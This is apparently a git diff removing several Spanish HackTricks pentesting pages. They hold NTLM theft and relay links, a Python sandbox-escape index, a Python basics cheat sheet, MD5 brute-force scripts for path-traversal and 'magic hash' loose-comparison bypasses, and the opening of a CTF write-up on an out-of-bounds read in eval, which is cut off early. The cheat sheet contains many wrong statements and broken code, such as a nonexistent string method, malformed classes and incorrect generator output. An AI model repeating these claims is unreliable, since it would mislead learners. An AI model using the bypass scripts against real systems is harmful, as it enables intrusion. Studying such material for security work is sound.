{% content-ref url="../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md" %}
|
||||
[places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Relevamiento NTLM
|
||||
|
||||
No olvide que no solo puede robar el hash o la autenticación, sino también **realizar ataques de relevamiento NTLM**:
|
||||
|
||||
* [**Ataques de relevamiento NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
* [**AD CS ESC8 (relevamiento NTLM a certificados)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -1,37 +0,0 @@
|
|||
# Escape de Sandbox de Python y Pyscript
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Páginas interesantes para revisar:**
|
||||
|
||||
* [**Trucos de hacking de Pyscript**](pyscript.md)
|
||||
* [**Deserializaciones de Python**](../../pentesting-web/deserialization/#python)
|
||||
* [**Trucos para evadir las sandboxes de Python**](bypass-python-sandboxes/)
|
||||
* [**Sintaxis básica de solicitudes web en Python**](web-requests.md)
|
||||
* [**Sintaxis básica y bibliotecas de Python**](basic-python.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
@ -1,327 +0,0 @@
|
|||
# Python Básico
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Conceptos básicos de Python
|
||||
|
||||
### Información útil
|
||||
|
||||
list(xrange()) == range() --> En python3 range es el xrange de python2 (no es una lista sino un generador)\
|
||||
La diferencia entre una tupla y una lista es que la posición de un valor en una tupla le da significado, mientras que las listas son solo valores ordenados. Las tuplas tienen estructuras pero las listas tienen un orden.
|
||||
|
||||
### Operaciones principales
|
||||
|
||||
Para elevar un número se utiliza: 3\*\*2 (no 3^2)\
|
||||
Si haces 2/3 devuelve 1 porque estás dividiendo dos enteros (integers). Si quieres decimales debes dividir floats (2.0/3.0).\
|
||||
i >= j\
|
||||
i <= j\
|
||||
i == j\
|
||||
i != j\
|
||||
a and b\
|
||||
a or b\
|
||||
not a\
|
||||
float(a)\
|
||||
int(a)\
|
||||
str(d)\
|
||||
ord("A") = 65\
|
||||
chr(65) = 'A'\
|
||||
hex(100) = '0x64'\
|
||||
hex(100)\[2:] = '64'\
|
||||
isinstance(1, int) = True\
|
||||
"a b".split(" ") = \['a', 'b']\
|
||||
" ".join(\['a', 'b']) = "a b"\
|
||||
"abcdef".startswith("ab") = True\
|
||||
"abcdef".contains("abc") = True\
|
||||
"abc\n".strip() = "abc"\
|
||||
"apbc".replace("p","") = "abc"\
|
||||
dir(str) = Lista de todos los métodos disponibles\
|
||||
help(str) = Definición de la clase str\
|
||||
"a".upper() = "A"\
|
||||
"A".lower() = "a"\
|
||||
"abc".capitalize() = "Abc"\
|
||||
sum(\[1,2,3]) = 6\
|
||||
sorted(\[1,43,5,3,21,4])
|
||||
|
||||
**Unir caracteres**\
|
||||
3 \* ’a’ = ‘aaa’\
|
||||
‘a’ + ‘b’ = ‘ab’\
|
||||
‘a’ + str(3) = ‘a3’\
|
||||
\[1,2,3]+\[4,5]=\[1,2,3,4,5]
|
||||
|
||||
**Partes de una lista**\
|
||||
‘abc’\[0] = ‘a’\
|
||||
'abc’\[-1] = ‘c’\
|
||||
'abc’\[1:3] = ‘bc’ desde \[1] hasta \[2]\
|
||||
"qwertyuiop"\[:-1] = 'qwertyuio'
|
||||
|
||||
**Comentarios**\
|
||||
\# Comentario de una línea\
|
||||
"""\
|
||||
Comentario de varias líneas\
|
||||
Otro\
|
||||
"""
|
||||
|
||||
**Bucles**
|
||||
```
|
||||
if a:
|
||||
#somethig
|
||||
elif b:
|
||||
#something
|
||||
else:
|
||||
#something
|
||||
|
||||
while(a):
|
||||
#comething
|
||||
|
||||
for i in range(0,100):
|
||||
#something from 0 to 99
|
||||
|
||||
for letter in "hola":
|
||||
#something with a letter in "hola"
|
||||
```
|
||||
### Tuplas
|
||||
|
||||
t1 = (1,'2,'tres')\
|
||||
t2 = (5,6)\
|
||||
t3 = t1 + t2 = (1, '2', 'tres', 5, 6)\
|
||||
(4,) = Singelton\
|
||||
d = () tupla vacía\
|
||||
d += (4,) --> Añadir a una tupla\
|
||||
NO SE PUEDE! --> t1\[1] == 'Nuevo valor'\
|
||||
list(t2) = \[5,6] --> De tupla a lista
|
||||
|
||||
### Lista (array)
|
||||
|
||||
d = \[] vacía\
|
||||
a = \[1,2,3]\
|
||||
b = \[4,5]\
|
||||
a + b = \[1,2,3,4,5]\
|
||||
b.append(6) = \[4,5,6]\
|
||||
tuple(a) = (1,2,3) --> De lista a tupla
|
||||
|
||||
### Diccionario
|
||||
|
||||
d = {} vacío\
|
||||
monthNumbers={1:’Ene’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Ene’, 2: ‘feb’,’feb’:2}\
|
||||
monthNumbers\[1] = ‘Ene’\
|
||||
monthNumbers\[‘feb’] = 2\
|
||||
list(monthNumbers) = \[1,2,’feb’]\
|
||||
monthNumbers.values() = \[‘Ene’,’feb’,2]\
|
||||
keys = \[k for k in monthNumbers]\
|
||||
a={'9':9}\
|
||||
monthNumbers.update(a) = {'9':9, 1:’Ene’, 2: ‘feb’,’feb’:2}\
|
||||
mN = monthNumbers.copy() #Copia independiente\
|
||||
monthNumbers.get('key',0) #Comprueba si la clave existe, devuelve el valor de monthNumbers\["key"] o 0 si no existe
|
||||
|
||||
### Conjunto
|
||||
|
||||
En los conjuntos no hay repeticiones\
|
||||
myset = set(\['a', 'b']) = {'a', 'b'}\
|
||||
myset.add('c') = {'a', 'b', 'c'}\
|
||||
myset.add('a') = {'a', 'b', 'c'} #No hay repeticiones\
|
||||
myset.update(\[1,2,3]) = set(\['a', 1, 2, 'b', 'c', 3])\
|
||||
myset.discard(10) #Si está presente, lo elimina, si no, no hace nada\
|
||||
myset.remove(10) #Si está presente, lo elimina, si no, lanza una excepción\
|
||||
myset2 = set(\[1, 2, 3, 4])\
|
||||
myset.union(myset2) #Valores de myset O myset2\
|
||||
myset.intersection(myset2) #Valores en myset Y myset2\
|
||||
myset.difference(myset2) #Valores en myset pero no en myset2\
|
||||
myset.symmetric\_difference(myset2) #Valores que no están en myset Y myset2 (no en ambos)\
|
||||
myset.pop() #Obtiene el primer elemento del conjunto y lo elimina\
|
||||
myset.intersection\_update(myset2) #myset = Elementos en ambos myset y myset2\
|
||||
myset.difference\_update(myset2) #myset = Elementos en myset pero no en myset2\
|
||||
myset.symmetric\_difference\_update(myset2) #myset = Elementos que no están en ambos
|
||||
|
||||
### Clases
|
||||
|
||||
El método en \_\_It\_\_ será el utilizado por sort para comparar si un objeto de esta clase es mayor que otro.
|
||||
```python
|
||||
class Person(name):
|
||||
def __init__(self,name):
|
||||
self.name= name
|
||||
self.lastName = name.split(‘ ‘)[-1]
|
||||
self.birthday = None
|
||||
def __It__(self, other):
|
||||
if self.lastName == other.lastName:
|
||||
return self.name < other.name
|
||||
return self.lastName < other.lastName #Return True if the lastname is smaller
|
||||
|
||||
def setBirthday(self, month, day. year):
|
||||
self.birthday = date tame.date(year,month,day)
|
||||
def getAge(self):
|
||||
return (date time.date.today() - self.birthday).days
|
||||
|
||||
|
||||
class MITPerson(Person):
|
||||
nextIdNum = 0 # Attribute of the Class
|
||||
def __init__(self, name):
|
||||
Person.__init__(self,name)
|
||||
self.idNum = MITPerson.nextIdNum —> Accedemos al atributo de la clase
|
||||
MITPerson.nextIdNum += 1 #Attribute of the class +1
|
||||
|
||||
def __it__(self, other):
|
||||
return self.idNum < other.idNum
|
||||
```
|
||||
### map, zip, filter, lambda, sorted y one-liners
|
||||
|
||||
**Map** es como: \[f(x) para x en iterable] --> map(tupla,\[a,b]) = \[(1,2,3),(4,5)]\
|
||||
m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True]
|
||||
|
||||
**zip** se detiene cuando el más corto de foo o bar se detiene:
|
||||
```
|
||||
for f, b in zip(foo, bar):
|
||||
print(f, b)
|
||||
```
|
||||
**Lambda** se utiliza para definir una función\
|
||||
(lambda x,y: x+y)(5,3) = 8 --> Usa lambda como una **función** simple\
|
||||
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Usa lambda para ordenar una lista\
|
||||
m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Usa lambda para filtrar\
|
||||
**reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24
|
||||
```
|
||||
def make_adder(n):
|
||||
return lambda x: x+n
|
||||
plus3 = make_adder(3)
|
||||
plus3(4) = 7 # 3 + 4 = 7
|
||||
|
||||
class Car:
|
||||
crash = lambda self: print('Boom!')
|
||||
my_car = Car(); my_car.crash() = 'Boom!'
|
||||
```
|
||||
mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ]
|
||||
|
||||
### Excepciones
|
||||
```
|
||||
def divide(x,y):
|
||||
try:
|
||||
result = x/y
|
||||
except ZeroDivisionError, e:
|
||||
print “division by zero!” + str(e)
|
||||
except TypeError:
|
||||
divide(int(x),int(y))
|
||||
else:
|
||||
print “result i”, result
|
||||
finally
|
||||
print “executing finally clause in any case”
|
||||
```
|
||||
### Assert()
|
||||
|
||||
Si la condición es falsa, la cadena se imprimirá en la pantalla.
|
||||
```
|
||||
def avg(grades, weights):
|
||||
assert not len(grades) == 0, 'no grades data'
|
||||
assert len(grades) == 'wrong number grades'
|
||||
```
|
||||
### Generadores, yield
|
||||
|
||||
Un generador, en lugar de devolver algo, "produce" algo. Cuando se accede a él, "devuelve" el primer valor generado, luego, se puede acceder de nuevo y devolverá el siguiente valor generado. Por lo tanto, no se generan todos los valores al mismo tiempo y se puede ahorrar mucha memoria utilizando esto en lugar de una lista con todos los valores.
|
||||
```
|
||||
def myGen(n):
|
||||
yield n
|
||||
yield n + 1
|
||||
```
|
||||
g = myGen(6) --> 6\
|
||||
next(g) --> 7\
|
||||
next(g) --> Error
|
||||
|
||||
### Expresiones Regulares
|
||||
|
||||
import re\
|
||||
re.search("\w","hola").group() = "h"\
|
||||
re.findall("\w","hola") = \['h', 'o', 'l', 'a']\
|
||||
re.findall("\w+(la)","hola caracola") = \['la', 'la']
|
||||
|
||||
**Significados especiales:**\
|
||||
. --> Todo\
|
||||
\w --> \[a-zA-Z0-9\_]\
|
||||
\d --> Número\
|
||||
\s --> Carácter de espacio en blanco\[ \n\r\t\f]\
|
||||
\S --> Carácter que no es espacio en blanco\
|
||||
^ --> Empieza con\
|
||||
$ --> Termina con\
|
||||
\+ --> Uno o más\
|
||||
\* --> 0 o más\
|
||||
? --> 0 o 1 ocurrencias
|
||||
|
||||
**Opciones:**\
|
||||
re.search(pat,str,re.IGNORECASE)\
|
||||
IGNORECASE\
|
||||
DOTALL --> Permite que el punto coincida con saltos de línea\
|
||||
MULTILINE --> Permite que ^ y $ coincidan en diferentes líneas
|
||||
|
||||
re.findall("<.\*>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>foo\</b>and\<i>so on\</i>']\
|
||||
re.findall("<.\*?>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>', '\</b>', '\<i>', '\</i>']
|
||||
|
||||
IterTools\
|
||||
**product**\
|
||||
from **itertools** import product --> Genera combinaciones entre 1 o más listas, quizás repitiendo valores, producto cartesiano (propiedad distributiva)\
|
||||
print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\
|
||||
print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)]
|
||||
|
||||
**permutations**\
|
||||
from **itertools** import **permutations** --> Genera combinaciones de todos los caracteres en cada posición\
|
||||
print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Cada combinación posible\
|
||||
print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Cada combinación posible de longitud 2
|
||||
|
||||
**combinations**\
|
||||
from itertools import **combinations** --> Genera todas las combinaciones posibles sin caracteres repetidos (si existe "ab", no genera "ba")\
|
||||
print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')]
|
||||
|
||||
**combinations\_with\_replacement**\
|
||||
from itertools import **combinations\_with\_replacement** --> Genera todas las combinaciones posibles desde el carácter en adelante (por ejemplo, el tercero se mezcla a partir del tercero en adelante pero no con el segundo o el primero)\
|
||||
print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')]
|
||||
|
||||
### Decoradores
|
||||
|
||||
Decorador que mide el tiempo que necesita una función para ejecutarse (de [aquí](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)):
|
||||
```python
|
||||
from functools import wraps
|
||||
import time
|
||||
def timeme(func):
|
||||
@wraps(func)
|
||||
def wrapper(*args, **kwargs):
|
||||
print("Let's call our decorated function")
|
||||
start = time.time()
|
||||
result = func(*args, **kwargs)
|
||||
print('Execution time: {} seconds'.format(time.time() - start))
|
||||
return result
|
||||
return wrapper
|
||||
|
||||
@timeme
|
||||
def decorated_func():
|
||||
print("Decorated func!")
|
||||
```
|
||||
Si lo ejecutas, verás algo como lo siguiente:
|
||||
```
|
||||
Let's call our decorated function
|
||||
Decorated func!
|
||||
Execution time: 4.792213439941406e-05 seconds
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -1,80 +0,0 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
target = '2f2e2e' #/..
|
||||
candidate = 0
|
||||
while True:
|
||||
plaintext = str(candidate)
|
||||
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
|
||||
if hash[-1*(len(target)):] == target: #End in target
|
||||
print('plaintext:"' + plaintext + '", md5:' + hash)
|
||||
break
|
||||
candidate = candidate + 1
|
||||
```
|
||||
|
||||
```python
|
||||
#From isHaacK
|
||||
import hashlib
|
||||
from multiprocessing import Process, Queue, cpu_count
|
||||
|
||||
|
||||
def loose_comparison(queue, num):
|
||||
target = '0e'
|
||||
plaintext = f"a_prefix{str(num)}a_suffix"
|
||||
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
|
||||
|
||||
if hash[:len(target)] == target and not any(x in "abcdef" for x in hash[2:]):
|
||||
print('plaintext: ' + plaintext + ', md5: ' + hash)
|
||||
queue.put("done") # triggers program exit
|
||||
|
||||
def worker(queue, thread_i, threads):
|
||||
for num in range(thread_i, 100**50, threads):
|
||||
loose_comparison(queue, num)
|
||||
|
||||
def main():
|
||||
procs = []
|
||||
queue = Queue()
|
||||
threads = cpu_count() # 2
|
||||
|
||||
for thread_i in range(threads):
|
||||
proc = Process(target=worker, args=(queue, thread_i, threads ))
|
||||
proc.daemon = True # kill all subprocess when main process exits.
|
||||
procs.append(proc)
|
||||
proc.start()
|
||||
|
||||
while queue.empty(): # exits when a subprocess is done
|
||||
pass
|
||||
return 0
|
||||
|
||||
main()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
File diff suppressed because it is too large
Load diff
|
|
@ -1,239 +0,0 @@
|
|||
# LOAD\_NAME / LOAD\_CONST opcode OOB Read
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Esta información fue tomada** [**de este artículo**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
|
||||
|
||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
||||
|
||||
Podemos usar la función de lectura OOB en la operación LOAD\_NAME / LOAD\_CONST para obtener algún símbolo en la memoria. Lo que significa usar trucos como `(a, b, c, ... cientos de símbolos ..., __getattribute__) if [] else [].__getattribute__(...)` para obtener un símbolo (como el nombre de una función) que deseas.
|
||||
|
||||
Luego, solo tienes que crear tu exploit.
|
||||
|
||||
### Descripción general <a href="#overview-1" id="overview-1"></a>
|
||||
|
||||
El código fuente es bastante corto, ¡solo contiene 4 líneas!
|
||||
```python
|
||||
source = input('>>> ')
|
||||
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
|
||||
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
|
||||
print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
Puedes ingresar código Python arbitrario y se compilará en un [objeto de código Python](https://docs.python.org/3/c-api/code.html). Sin embargo, `co_consts` y `co_names` de ese objeto de código serán reemplazados por una tupla vacía antes de evaluar ese objeto de código.
|
||||
|
||||
De esta manera, todas las expresiones que contengan constantes (por ejemplo, números, cadenas, etc.) o nombres (por ejemplo, variables, funciones) podrían causar una falla de segmentación al final.
|
||||
|
||||
### Lectura fuera de límites <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
¿Cómo ocurre la falla de segmentación?
|
||||
|
||||
Comencemos con un ejemplo simple, `[a, b, c]` podría compilarse en el siguiente bytecode.
|
||||
```
|
||||
1 0 LOAD_NAME 0 (a)
|
||||
2 LOAD_NAME 1 (b)
|
||||
4 LOAD_NAME 2 (c)
|
||||
6 BUILD_LIST 3
|
||||
